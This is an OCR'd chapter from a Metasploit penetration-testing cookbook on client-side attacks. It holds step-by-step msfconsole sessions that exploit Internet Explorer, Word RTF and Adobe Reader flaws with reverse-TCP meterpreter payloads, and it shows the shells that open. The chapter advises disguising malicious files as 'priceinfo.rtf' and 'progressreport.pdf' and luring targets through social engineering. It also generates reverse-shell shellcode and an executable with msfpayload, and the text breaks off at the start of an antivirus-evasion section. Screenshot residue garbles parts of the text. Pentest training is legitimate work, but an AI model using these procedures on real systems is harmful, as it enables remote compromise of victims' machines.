» Microsoft Word RTF stack buffer overflow

» Adobe Readerutil.printf () buffer overflow

» Generating binary and shellcode from msfpayload

» Bypassing client-side antivirus protection using msfencode

» Using killav.rb script to disable antivirus programs

» Adeeper look into the killav.rb script

» Killing antivirus services from the command line

Introduction

In the previous chapter, we focused on penetration testing the target operating system.
Operating systems are the first level of penetrating the target because an unpatched and
outdated operating system can be easy to exploit and it will reduce our effort of looking for
other methods of penetrating the target. But the situation can vary. There can be cases

in which a firewall may block our scan packets and, thus, prevent us from gaining any
information about the target operating system or open ports.
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There can also be a possibility that the target has automatic updates which patches the
vulnerabilities of the operating system at regular intervals. This can again kill all the attacks
of penetrating the target. Such security measures can prevent us from gaining access to the
target machine by exploiting known vulnerabilities of the operating system in use. So we will
have to move a step ahead. This is where client-side exploitation and antivirus bypassing
technigues comes into play. Let us first understand a typical client-side attack vector.

Suppose the penetration tester has figured out that the target machine has an updated
Windows XP SP3 operating system and Internet Explorer version 7 set up as the default
browser to access the Internet and other web-related services. So, the pen-tester will now
craft a malicious URL that will contain an executable script which can exploit a known
vulnerability of IE 7. Now he builds a harmless looking HTML page and creates a hyperlink
which contains the same malicious URL. In the next step, he transfers the HTML page to

the target user through social engineering and somehow entices him to click the malicious
hyperlink. Since the link contained a known exploit of IE 7 browser, it can compromise the
browser and allow further code execution, thus giving the penetration tester power to control
the target system. He can move ahead to set up a backdoor, drop a virus, and so on.

What exactly happens now? Although the target machine was running a patched and updated
version of Windows the default browser |IE 7 was not updated or rather neglected by the target
user. This allowed the penetration tester to craft a scenario and break into the system through
the browser vulnerability.

The scenario discussed previously is a simple client-side attack in which the target unknowingly
executes a script which exploits vulnerability in the application software used by the target user.
On successful execution of the exploit, the attacker compromises the system security.

Metasploit provides us with a large variety of exploit modules for several popular software
which can be used to perform a client-side attack. Some of the popular tools which we will
discuss in this chapter include Internet Explorer, Microsoft Office pack, Adobe reader, Flash,
and so on. Metasploit repository contains several modules for these popular tools. Let us
quickly analyze the client-side exploitation process in Metasploit. Our aim is to successfully
attack the target through a client-side execution and set up shell connectivity.

Metasploit breaks this penetration process into two simple steps:

1. It generates the respective malicious link/file for the application tool you choose to
target. After that, it starts listening on a particular port for a back connection with the
target. Then the attacker sends the malicious link/file to the target user.

2. Now once the target executes the malicious link/file, the application gets exploited
and Metasploit immediately transfers the payload to some other Windows process so
that if the target application crashes (due to exploit) or a user closes the application,
the connectivity still remains.

@
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The two preceding steps will be clear to you when we will discuss the recipes based on
client-side attacks. This chapter will focus on some key application software based on the
Windows operating system. We will start with analyzing browser-based client side exploits.
We will look into various existing flaws in Internet Explorer (version 6, 7, and 8) and how
to target it to penetrate the user machine. Then, we will shift to another popular software
package named Microsoft Office (version 2003 and 2007) and analyze its formatting
vulnerability. Then, we will move ahead with analyzing PDF vulnerabilities and how a
malicious PDF can be used to compromise the user security. Last, but not the least,

we will discuss a very important aspect of penetration testing called antivirus bypass.

It will focus on overriding the client-side antivirus protection to exploit the target machine
without raising alarms.

This chapter will leverage the complete power of the Metasploit framework so that you
will love reading and implementing it. Let us move ahead with our recipes for this chapter.

Internet Explorer unsafe scripting

misconfiguration vulnerability

Let us start with the first browser-based client side exploit. The elementary process of using
any client-side exploit module is similar to the ones we discussed in previous chapters. The
only difference lies in transferring the exploit to the target. Unlike operating system-based
exploits, client-side exploits require manual execution of the exploit and payload at the target
machine. You will understand it clearly, once we proceed with the recipe. So let us quickly dive
into implementing the attack.

Getting ready

We will start with launching our msfconsole and selecting the relevant exploit. The process
is similar to what we have been discussing so far in previous chapters. Then, we will move
ahead to select a payload which will help us set a shell connectivity with the target machine.
The exploit we will be dealing with in this recipe is exploit/windows/browser/i.e.
unsafe scripting.

_ This exploit is known to affect Internet Explorer version 6 and 7 which are
% default browsers in all versions of Windows XP and 2003 servers. But it
i ran successfully even on my Windows 7 ultimate with internet Explorer 8
(unpatched).

(7]
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This exploit works when the Initialize and script ActiveX controls not marked as safe setting
is marked within Internet Explorer. The following setting can be found by launching Internet
Explorer and browsing to Tools | Internet Options | Security | Custom Level | Initialize and
script ActiveX controls not marked as safe | Enable.

Security Settings

Settings:

(@) Disable

() Enable

. Prompt
@ Initialize and script Activel controls not marked as safe [

() Disable

(@) Enable

. Prompt

@ Fun Ackivel controls and plug-ins
Administrator approved
Disable
Enable
Prompt
@ EE:ipt Ackiver controls marked safe For scripting

mooLio

< |

|

|
| £

Reset custom setkings

Reset to: | Madium v|[ Reset ]

L} el l[ Cancel ] _—

L J L J

Similar settings can be made in other versions of Internet Explorer as well. In this recipe,
we will exploit two different targets. One is running Windows XP SP2 with IE 7 and the other
is running Windows 7 with IE 8. Let us now move ahead to execute the exploit.

How to do it...

Let us start with launching the msfconsole and set our respective exploit as active.
We will be using the reverse tcp payload to get shell connectivity with the two
targets once they are exploited:

msf > use exploit/windows/browser/ie unsafe scripting

msf exploit(ie unsafe scripting) > set payload windows/meterpreter/
reverse_tcp

payload => windows/meterpreter/reverse tcp

(&)
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msf exploit(ie unsafe scripting) > show options

Module options (exploit/windows/browser/ie unsafe scripting):

Name Current Setting

SRVHOST 0.0.0.0 yes
SRVPORT 8080 yes
SSL false no
SSLCert no
SSLVersion SSL3 no
URIPATH no

Required Description

The local host to..
The local port to..
Negotiate SSL..

Path to a custom SSL..
Specify the version..

The URI to use for..

Payload options (windows/meterpreter/reverse tcp):

Name Current

EXITFUNC process
LHOST
LPORT 4444

Exploit target:

Id Name

0 Automatic

Setting Required

msf exploit(ie unsafe scripting) > set

LHOST => 192.168.56.101

Description

Exit technique: seh..
The listen address

The listen port

LHOST 192.168.56.101

s
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Now our exploit, as well as the payload has been set active. As you can see, we have not used
the RHOST option here because it is a client-based attack. Let's see what happens when we
execute the exploit command:

msf exploit(ie unsafe scripting) > exploit

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.56.101:4444
[*] Using URL: http://0.0.0.0:8080/2IGIaOJQB
[*] Local IP: http://192.168.56.101:8080/2IGIa0JQB

[*] Server started.

As we can see, a link has been generated as a result of the exploit command. This is the
malicious link (http://192.168.56.101:8080/2IGIaoJQB) that we will have to send to
our targets, so that it can exploit their browser. Also the last line says "server started" which is
actually listening for a connection on port 4444 from the target machine. Let us first analyze
the outcome of the link execution on the Windows XP target machine.

The browser will try to load the page, but at the end nothing will be displayed. In turn,
the browser either will hang or will remain idle. But you will notice some activity on your
msfconsole. This activity will be similar to the one shown in the following command line:

msf exploit(ie unsafe scripting) > [*] Request received from

192.168.56.102:1080...

[*] Encoding payload into vbs/javascript/html...
[*] Sending exploit html/javascript to 192.168.56.102:1080...

[*] Exe will be uunggEBHE.exe and must be manually removed from the
%TEMP% directory on the target.

Sending stage (752128 bytes) to 192.168.56.102
[*] Meterpreter session 1 opened (192.168.56.101:4444 ->

192.168.56.102:1081) at 2011-11-12 21:09:26 +0530

Awesome! We have an active session with our target machine. The preceding command-line
output shows that an executable file has been created in the temp folder of our target which
is responsible for this entire exploitation process.

Let us now analyze the outcome of this malicious link execution on the Windows 7 machine
with IE 8.

[
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We will notice that Internet Explorer will prompt with an alert message. On clicking
Allow, the outside script will get executed and the browser may crash or hang
(depending upon the system).

@ hup://192 168.56.101:8080/ 2IG10)Q8 - Windowainternet Explor=r N

AE S| € | http://192,168.56 101:8080/21G1aQ) QB

ol Favorites | 2z [ Suggested Sites = &7 Web Slice Gallery =

| ) hitp-//192 168 56.101:8080,21GI20IQB I

'{:‘1' Your current security settings put your computer at risk, Click here to change your security settings...

N

" T ~r
Internet Explorer Security | 2=

A website wants to open web content using this
program on your computer

This program will open outside of Protected mode. Internet Explorer's
helps protect vour computer. If you do not trust this
website, do not open this program.

7| Meme: Microsoft & Windows Based Script Host
sl Publisher: Microsoft Windows

[T Do not show me thie warning for this program again

(=) Details [ alow |[ pon'tallow |

Let us switch to attacking the msfconsole and notice the activity. We will notice the following
command-line activity:

msf exploit(ie unsafe scripting) > [*] Request received from
192.168.56.1:51115...

[*] Encoding payload into vbs/javascript/html...
[*] Sending exploit html/javascript to 192.168.56.1:51115...

[*] Exe will be uddoE.exe and must be manually removed from the %TEMP%
directory on the target.

[*] Sending stage (752128 bytes) to 192.168.56.1

[*] Meterpreter session 2 opened (192.168.56.101:4444 ->
192.168.56.1:51116) at 2011-11-12 21:15:47 +0530

&)
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We have yet another active session opened with the Windows 7 machine as well. Let us start
interacting with our sessions:

msf exploit(ie unsafe scripting) > sessions

Active sessions

Id Type Information Connection
1 meterpreter x86/win32 DARKLORD-9CAD38\darklord
2 meterpreter x86/win32 HackingAlert-PC\hackingalert

As you can see, the sessions command has revealed the active sessions available to us.
One is our Win XP machine and the other one is the Win7 machine. Let us move ahead to
interact with the second session, that is, the Windows 7 machine.

msf exploit(ie unsafe scripting) > sessions -i 1
meterpreter > shell

Process 4844 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7264]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

The working process might be clear to you. Let us focus on the reason for this exploit. When
"Initialize and script ActiveX controls not marked safe for scripting" is set, then it allows access
to the WScript.Shell ActiveX control. This WScript.Shell object provides functions to
read the file system, environment variables, read and modify registry, and manage shortcuts.
This feature of WScript .Shell allows the attacker to create a JavaScript to interact with the
file system and run commands.

=
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There's more...

Let us talk about another important browser-based exploit which can be used in
a client-side attack.

Internet Explorer Aurora memory corruption

This is another widely used exploit for IE which came into light in mid 2010. This flaw was the
key component of "Operation Aurora" in which hackers targeted some top companies. This
module exploits a memory corruption flaw in IE 6. | am leaving this module as an exercise
for you to try out and explore. The exploit can be found in exploit/windows/browser/
msl1l0_002_ aurora.

Internet Explorer CSS recursive call memor

corruption

This is one of the most recent exploits available for the Windows platform running IE browser.
This exploit is known to affect Windows 7 and Windows 2008 server with |IE 8 as the default
browser. The working process of this exploit is similar to the one we just discussed in the
previous recipe. So let us quickly test it. Our target machine is a Windows 7 ultimate edition
with IE 8 (unpatched) running as the default browser.

Getting ready

We will start with launching the msfconsole. Our exploit in this recipe is exploit/windows/
browser/msll 003 ie css_import and our payload will be windows/meterpreter/
bind_ tcp which will help in gaining shell connectivity with the target machine.

How to do it...

We will start the same way we have been doing so far. First, we will select the exploit.
Then, we will select the payload and pass on the various parameter values required by the
exploit and the payload. Let us move ahead with all these steps in our msfconsole.

msf > use exploit/windows/browser/msll 003 ie css_ import

msf exploit(msll 003 jie css import) > set payload windows/meterpreter/
reverse_ tcp

payload => windows/meterpreter/reverse tcp
smsf exploit(msll 003 ie css import) > set LHOST 192.168.56.101
LHOST => 192.168.56.101

&1
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msf exploit(msll 003 ie css import) > exploit

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.56.101:4444
[*] Using URL: http://0.0.0.0:8080/K9JqHoWjzyAPji
[*] Local IP: http://192.168.56.101:8080/K9JqHOW]jzyAPji

[*] Server started.

As we can see, the exploit and payload have been set along with various parameters.

After executing the exploit command, the module has generated a local link
http://192.168.56.101:8080/K9JgHoW]jzyAPji. This is the malicious link which

has to be transferred to the target in order to make him execute in his IE browser. The target
browser will freeze completely and will consume a large part of the system resource. The
target will be forced to shut down the browser. Let us monitor the activities on the msfconsole:

[*] 192.168.56.1:52175 Received request for "/K9JgHoWjzyAPji/\xEE\x80\
xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A\XEE\x80\xA0\xE1\x81\x9A\XxEE\x80\
xA0\xE1\x81\x9A"

[*] 192.168.56.1:52175 Sending

windows/browser/msll 003 ie css_ import CSS
[*] Sending stage (752128 bytes) to 192.168.56.1

[*] Meterpreter session 1 opened (192.168.56.101:4444 ->
192.168.56.1:52176) at 2011-11-15 13:18:17 +0530

[*] Session ID 1 (192.168.56.101:4444 -> 192.168.56.1:52176) processing
InitialAutoRunScript 'migrate -f'

[*] Current server process: iexplore.exe (5164)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 5220

[+] Successfully migrated to process

Upon successful execution of the exploit in the target's browser, we have a session started in
the msfconsole, thus, opening shell connectivity. But there is something more that happens
after opening a session between msf and the target. The InitialAutoRunScript executes
amigrate -f command which migrates the payload from iexplore.exe t0 notepad.
exe. This step is essential for a persistent connectivity. Even if the target user closes the
browser, still the connection will be alive as we have migrated to another process.

~[ee]
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Let us dig out this vulnerability for more information. Well, the reason for the vulnerability is
exactly what its name says. When Microsoft's HTML engine (mshtml) parses an HTML page
that recursively imports the same CSS file multiple times, then it leads to a memory corruption
and allows arbitrary code execution. Consider the following HTML code snippet.

// html file
<link href="css.css" rel="stylesheet" type="text/css" />

// css file
*{
color:red;

}

@import url("css.

" ;

)
") ;
)

)

0]

1

0]

cs
@import url("css.cs
@import url("css.cs

cs

@import url("css.css");

The same CSS file has been called four times. When mshtml parses this HTML page then

it leads to a memory corruption. This exploit utilizes a combination of heap spraying and the
.NET 2.0 mscorie.dll module to bypass DEP and ASLR. Due to over consumption of system
resources, it finally crashes. Using this vulnerability the attacker gains the same user rights
as the logged in user.

i@ http://192,168.56,101:8080/K9)qHoWizyAPji/j0vH.html - Windows Internet Explorer

@\\Jv | 8] http://192.168.56.101:8080/K3)qHoWjzyAPji/ovH.htrml

¢ Favorites | 73 [[J Suggested Sites v @) Web Slice Gallery »

& http://192.168.56.101:8080/K9)qHo WjzyAP}i/j0vH....

f
18 Windows Task Manager

File Options View Help

| Applcations | Processes | ervices | Performance | Networking | Users |

r
Image Name User Name CPU Memory (... Desgiption *

iexplore. exe DARKL... 02 6,716K Intemet...
iexplore.exe  DARKL.. 00  281,116K Intemet...
igfxpers.exe DARKL... 00 1,100K persisten...
igfxtray.exe DARKL... 00 1,132K  igfTray ...
notepad, exe DARKL... 0o 3,872K Notepad
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In the preceding screenshot, you can see that the background consists of the |E instance in
which the malicious link has been executed and the foreground image is of the Windows task
manager in which you can clearly see the over consumption of memory by the IE browser.
Another interesting thing to note in this task manager is the notepad.exe process. Even
though there is no running instance of notepad, still the task manager is showing this process.
The obvious reason for this is that we have migrated from iexplorer.exe to notepad.exe so this
process is running in the background.

There's more...

There is a common error which we may encounter while using this exploit module. Let's have
a quick look at it and find out a relevant solution.

Missing .NET CLR 2.0.50727

You may encounter an error "Target machine does not have the .NET CLR 2.0.50727" while
using this exploit module. Well, the reason for this error is not because .Net is missing. The
main reason for it is that Internet Explorer is not set as the default browser so the user agent
is being abused to fetch an address from a non-ASLR region. This error can be overcome by
setting Internet Explorer as the default web browser.

Microsoft Word RTF stack buffer overflow

In the previous two recipes, we focused completely on browser-based exploits. Now in

this recipe, we will focus on another popular Windows tool called Microsoft Office. The

RTF buffer overflow flaw exists in both 2010 and 2007 versions of the Office software pack.
This vulnerability exists in the handling of pfragments shape property within the Microsoft
Word RTF parser. Let us understand this exploit in detail. | am assuming that we have already
gained information about our target that it has Office pack installed on his system.

Getting ready

We will start with launching the msfconsole. The exploit we will be using in this recipe can

be located at exploit/windows/fileformat/ms10 087 rtf pfragments bof.The
payload we will be using is windows /meterpreter/reverse tcp to get shell connectivity
with the target machine.

How to do it...

The working process will again be similar to what we have seen so far in previous recipes.
We will first set our exploit. Then, we will select a payload and then pass the relevant
parameters for both in order to execute the exploit successfully. Let us perform these steps.

(e
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msf > use exploit/windows/fileformat/ms10 087 rtf pfragments bof

msf exploit(msl0 087 rtf pfragments bof) > set payload windows/
meterpreter/reverse tcp

payload => windows/meterpreter/reverse tcp

msf exploit(msl0 087 rtf pfragments bof) > show options

Module options (exploit/windows/fileformat/msl0 087 rtf pfragments bof):

Name Current Setting Required Description

FILENAME msf.rtf yes The file name.

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh..
LHOST yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name

0 Automatic

The exploit contains a parameter FILENAME which contains information about the
malicious filename to be created. The default value is msf . rt £. Let us change it to
some less suspicious name. We will also set the value for LHOST which is the attacking
machine IP address.

msf exploit(msl0 087 rtf pfragments bof) > set FILENAME priceinfo.rtf
FILENAME => priceinfo.rtf

msf exploit(msl0 087 rtf pfragments bof) > set LHOST 192.168.56.101

]
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The filename has been changed to priceinfo.rtf and the value of LHOST has been set to
192.168.56.101. So we are all set to execute the exploit module now.

msf exploit(msl0 087 rtf pfragments bof) > exploit
[*] Creating 'priceinfo.rtf' file

[+] priceinfo.rtf stored at /root/.msf4/local/priceinfo.rtf

Metasploit has created a malicious file for us which we will have to use in order to proceed
with the client-side attack. The file is located at /root/.msf4/local/priceinfo.rtf.
Now the next step is to send this file to the target user either through a mail or through some
other medium. Once the target user executes this malicious file, we will notice that it will open
as a word document. After few seconds of execution, the Microsoft Word instance will either
hang or crash depending upon the system. In the meantime, the malicious file successfully
executes the exploit and provides an active session with the target. In order to make the
connection persistent, the exploit migrates itself to some other process which will run

in the background.

Sending stage (752128 bytes) to 192.168.56.1

[*] Meterpreter session 2 opened (192.168.56.101:4444 ->
192.168.56.1:57031) at 2011-11-13 23:16:20 +0530

[*] Session ID 2 (192.168.56.101:4444 -> 192.168.56.1:57031) processing
InitialAutoRunScript 'migrate -f!

[*] Current server process: WINWORD.EXE (5820)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 5556

[+] Successfully migrated to process

The first few lines of the command line shows a successful execution of the exploit which
results in an active session with SESSTON ID = 2. The last part of the command line
shows that the exploit has successfully migrated from WINWORD . EXE t0o notepad. exe.

The exploit module simply creates a malicious word file that passes illegal values to the word
parser. The failure of parser in recognizing the illegal values leads to a buffer overflow in it.
Then the payload comes into action which executes the code to set up a back connection with
the attacking machine. The success of this attack varies from machine to machine as there
can be situations when Windows ASLR (Address Space Layout Randomization) can prevent
execution of an arbitrary code (payload).

5]
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There is another popular exploit available for the Office suite. | will leave it as a lesson for you
to practically try it. Here | will give a brief overview about it.

Microsoft Excel 2007 buffer overflow

This known exploit targets the Microsoft Excel tool (.x1b) for version 2007. Execution of a
malicious .xlb file can lead to a stack-based buffer overflow and lead to an arbitrary code
execution. The exploit can be located at exploit/windows/fileformat/msll 021
x1b bof.

Adobe Reader util.printf() buffer overflow

PDF is one of the most widely used formats for sharing files and documents. So, using it as

a potential weapon to exploit the target machine can be a fruitful idea. Adobe Reader is the
most popular PDF file reader tool. The exploit we will discuss here is a vulnerability existing in
Adobe Reader prior to versions 8.1.3. The exploit works by creating a malicious PDF file which,
when opened in vulnerable versions of Adobe Reader, causes a buffer overflow and allows an
arbitrary code execution.

Getting ready

The exploit process is very similar to those we have discussed so far in this chapter. Almost all
client-side attacks work in a similar manner in which we first generate a malicious file/link and
then somehow ask the target user to execute it on his/her machine. So a client-side attack
involves Social Engineering as well. Let us move on to this exploit. Here, our target machine

is Windows XP SP3 running Adobe Reader version 8.1.

We will start with launching our msfconsole and use the module exploit/windows/
fileformat/adobe utilprintf and payload module as windows/meterpreter/
reverse_ tcp.

How to do it...

We will start with selecting the exploit and setting it a active. Then, we will set the payload. After
selecting the exploit and the payload, our next step will be to pass the various parameter values
required to execute it. So, let us move ahead to perform these steps over the msfconsole.

msf > use exploit/windows/fileformat/adobe utilprintf

msf exploit(adobe utilprintf) > set payload windows/meterpreter/reverse
tcp

payload => windows/meterpreter/reverse tcp

i
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msf exploit(adobe utilprintf) > show options

Module options (exploit/windows/fileformat/adobe utilprintf):

Name Current Setting Required Description

FILENAME msf.pdf yes The file name.

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh..
LHOST yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name

0 Adobe Reader v8.1.2 (Windows XP SP3 English)

As you can see, the target version of Adobe Reader is listed as 8.1.2 and the operating system
is mentioned as Windows XP SP3. So, the success of this exploit will greatly depend on the
version or Adobe Reader and operating system used by the target.

The exploit module contains a parameter FILENAME with a default value. This parameter
decides the name of the malicious PDF file that will be created. Let us change its value to
something less suspicious. Also we will have to pass the IP address of the local machine in
LHOST parameter.

msf exploit(adobe utilprintf) > set FILENAME progressreport.pdf

FILENAME => progressreprt.pdf

msf exploit(adobe utilprintf) > set LHOST 192.168.56.101
LHOST => 192.168.56.101

[
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Now we are all set to execute the exploit command and generate the malicious PDF file which
will be used in our client-side attacks.

msf exploit(adobe utilprintf) > exploit

[*] Creating 'progressreport.pdf' file...

[+] progressreport.pdf stored at /root/.msf4/local/progressreport.pdf

Finally, a malicious PDF file named progressreport . pdf has been created and stored in
the /root/.msf4/local folder.

This time we will adopt a slightly different approach to start a listener for reverse connection.
Suppose a situation comes when you have to suddenly close your msfconsole. What about
the exploit then? Do we have to create the malicious PDF again? The answer is No. There is

a special listener module present in Metasploit which can be used to start a listener on your
msfconsole so that you can resume with your penetration testing process using the same
files/links that you generated for the client-side attack. Consider a scenario where we have
generated the malicious PDF file but not yet used it for client-side attack. So let us start the
msfconsole again and use the exploit/multi/handler module to set up a listener for the
reverse connection.

msf > use exploit/multi/handler

msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Exploit target:

Id Name

0 Wildcard Target

msf exploit(handler) > set payload windows/meterpreter/reverse tcp

55}
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payload => windows/meterpreter/reverse tcp

msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique: she..
LHOST yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name

0 Wildcard Target

msf exploit(handler) > set LHOST 192.168.56.101

LHOST => 192.168.56.101

As you can see, we have set up the module multi/handler and then we also added a
payload to it. The next step is to add an LHOST and LPORT depending upon the usage. We
also have an additional option to run additional scripts along with the multi/handler module.

We will discuss it later in the next chapter. The final step is to execute the exploit command
and start the listener.

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.56.101:4444

=
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So our reverse handler is up and running. Now it is ready to receive back the connection once
the malicious PDF is executed on the target machine.

Once the PDF is executed on the client machine, it completely freezes and the Adobe Reader
hangs completely, leading to denial of service. The reason for this crash is due to the buffer
overflow caused by the malicious PDF file. On the attacker side, you will see that a meterpreter
session has been started and now the target machine can be handled remotely.

[*] Started reverse handler on 192.168.56.101:4444
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.56.102

[*] Meterpreter session 1 opened (192.168.56.101:4444 ->
192.168.56.102:1035) at 2011-11-25 12:29:36 +0530

meterpreter > shell

Process 1880 created.

Channel 1 created.

Microsoft Windows XP SP3

(C) Copyright 1985-2001 Microsoft Corp.

E:\>

This problem was identified in the way vulnerable versions of Adobe Reader implement the
JavaScript util.printf () function. The function first converts the argument it receives to a
String, using only the first 16 digits of the argument and padding the rest with a fixed value of "0"
(Ox30). By passing an overly long and properly formatted command to the function, it is possible
to overwrite the program's memory and control its execution flow. The Metasploit module
creates a specifically crafted PDF file that embeds JavaScript code to manipulate the program's
memory allocation pattern and trigger the vulnerability. This can allow an attacker to execute the
arbitrary code with the privileges of a user running the Adobe Reader application.

Consider the following two lines of JavaScript embedded in a PDF:

var num = 1.2
util.printf ("$5000£", num)

These two simple JavaScript lines cause the byte 0x20 to be copied 5000 times on the stack.
This allows you to take control of the exception handler, and also to trigger an exception when
trying to write in the section that comes after the stack.

[55]-
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Generating binary and shellcode from

msfpayload

So far, we have discussed many techniques that can be used for penetrating the target
machine using the client-side attacks. All those techniques involved exploiting vulnerability
in the various pieces of application software that run on the client machine. But, there can
be a scenario when the previously discussed techniques may not work. These attacks leave
us to the mercy of the vulnerable application software which we will have to exploit in order
to gain access.

Metasploit provides us with another feature in which we can execute a client-side attack
without worrying about exploiting the application software running on the target machine.
msfpayload is the solution for it. Let us give a quick introduction to msfpayload and move
ahead with our recipe to practically implement it.

msfpayload is a command-line instance of Metasploit that is used to generate various

file types of shellcodes available in the Metasploit repository. The various file type options
available are C, Ruby, Raw, Exe, DII, VBA, and War. We can convert any Metasploit shellcode
into one of these mentioned file formats using msfpayload. Then, it can be transferred to
the target for execution. Once the file is executed on the target machine, we will get an active
session. This reduces the overhead of exploiting any vulnerability existing in the application
software running on the target machine. The other major benefit of msfpayload is that it can
be used to generate customized shellcodes in specific programming languages such as C,
Ruby, and so on which can be used in your own exploit development code.

A major drawback of using msfpayload is that the files generated using it can be easily
detected by antivirus programs when the target tries to execute it. Let us move ahead with
the recipe and feel the power that msfpayload can add to our penetration testing process.

Getting ready

Let us begin experimenting with msfpayload. We will start with launching the BackTrack
terminal. We can start with the command msfpayload -h to view the description of its usage.

root@bt:~# msfpayload -h
Usage: /opt/framework3/msf3/msfpayload [<options>] <payload>
[var=val] <[S]lummary|C|[P]lerl|Rublyl] | [Rlaw|[J]s|e[X]e|[D]11l]| [V]IBA| [W]ar>

To view the available list of shellcodes, we can use the msfpayload -1 command. You will
find a huge list of available shellcodes at our disposal.

5]
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How to do it...

Let us proceed to see how we can generate a specific customized shellcode in C language.
We will be using windows/shell/reverse_tcp payload to generate its shellcode in C
language. We will first choose our respective payload shell and pass various parameter values.

root@bt:~# msfpayload windows/shell/reverse tcp o

Name: Windows Command Shell, Reverse TCP Stager
Module: payload/windows/shell/reverse tcp
Version: 10394, 11421
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 290

Rank: Normal

Basic options:

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh..
LHOST yes The listen address
LPORT 4444 yes The listen port

Notice the little o parameter in the command line the various parameter options
of the shellcode payload are listed. We will have to pass the values in order to generate
a customized shellcode for our use.

root@bt:~# msfpayload windows/shell/reverse tcp LHOST=192.168.56.101
LPORT=4441 o

So we have set up the LHOST and LPORT according to our need. The next step will be to
generate a C code for our customized shell (the displayed output has been shortened to fit)

root@bt:~# msfpayload windows/shell/reverse tcp LHOST=192.168.56.101
LPORT=4441 C

/*
* windows/shell/reverse tcp - 290 bytes (stage 1)

* http://www.metasploit.com

o7}
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* VERBOSE=false, LHOST=192.168.56.101, LPORT=4441,

* ReverseConnectRetries=5, EXITFUNC=process,

* InitialAutoRunScript=, AutoRunScript=

*/
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xf£"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xcl\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\x£f£f\x31\xc0\xac\xcl\xcf\x04"
"\x01\xc7\x38\xe0\x75\x£f4\x03\x7d\x£8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xf£"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5£\x54\x68\x4c\x77\x26\x07\x£f£\xd5\xb8\x90\x01"

Notice the capital ¢ parameter in the command line. You will notice a complete shellcode in C
language which we can use in our own exploit development code. Alternatively, we also have
the option to generate codes in Ruby and Perl language.

Let us proceed to the next step of generating a binary executable for the shellcode which can
be used in our client-side attack.

root@bt:~# msfpayload windows/shell/reverse tcp LHOST=192.168.56.101 X >
.local/setup.exe

Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse tcp

Length: 290
Options: {"LHOST"=>"192.168.56.101"}

Notice the various parameters that we have passed in the command-line. We have used the X
parameter to generate an exe file type and the file has been generated in the folder . local
with the name setup.exe. This generated exe can now be used in our client-side attack.

Now that our executable is ready, we will have to set up a listener in our msfconsole to listen
for a back connection when the target executes this exe file.
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msf > use multi/handler

msf exploit(handler) > set payload windows/shell/reverse tcp

payload => windows/shell/reverse tcp

msf exploit(handler) > set LHOST 192.168.46.101

msf exploit(handler) > exploit

[-] Handler failed to bind to 192.168.46.101:4444
[*] Started reverse handler on 0.0.0.0:4444
[*] Starting the payload handler

Notice that we used the same payload and passed the same parameter values which we used
while generating the executable. Now our listener is ready to receive a reverse connection.
Once the target user (running Windows prior to Windows 7) executes the malicious exe,

we will get a shell connectivity.

Bypassing client-side antivirus protection

using msfencode

In the previous recipe, we focused on how to generate an executable shellcode and use it as
a weapon for a client-side attack. But, such executables are easily detectable by the client-
side antivirus protection which can prevent execution of such malicious files an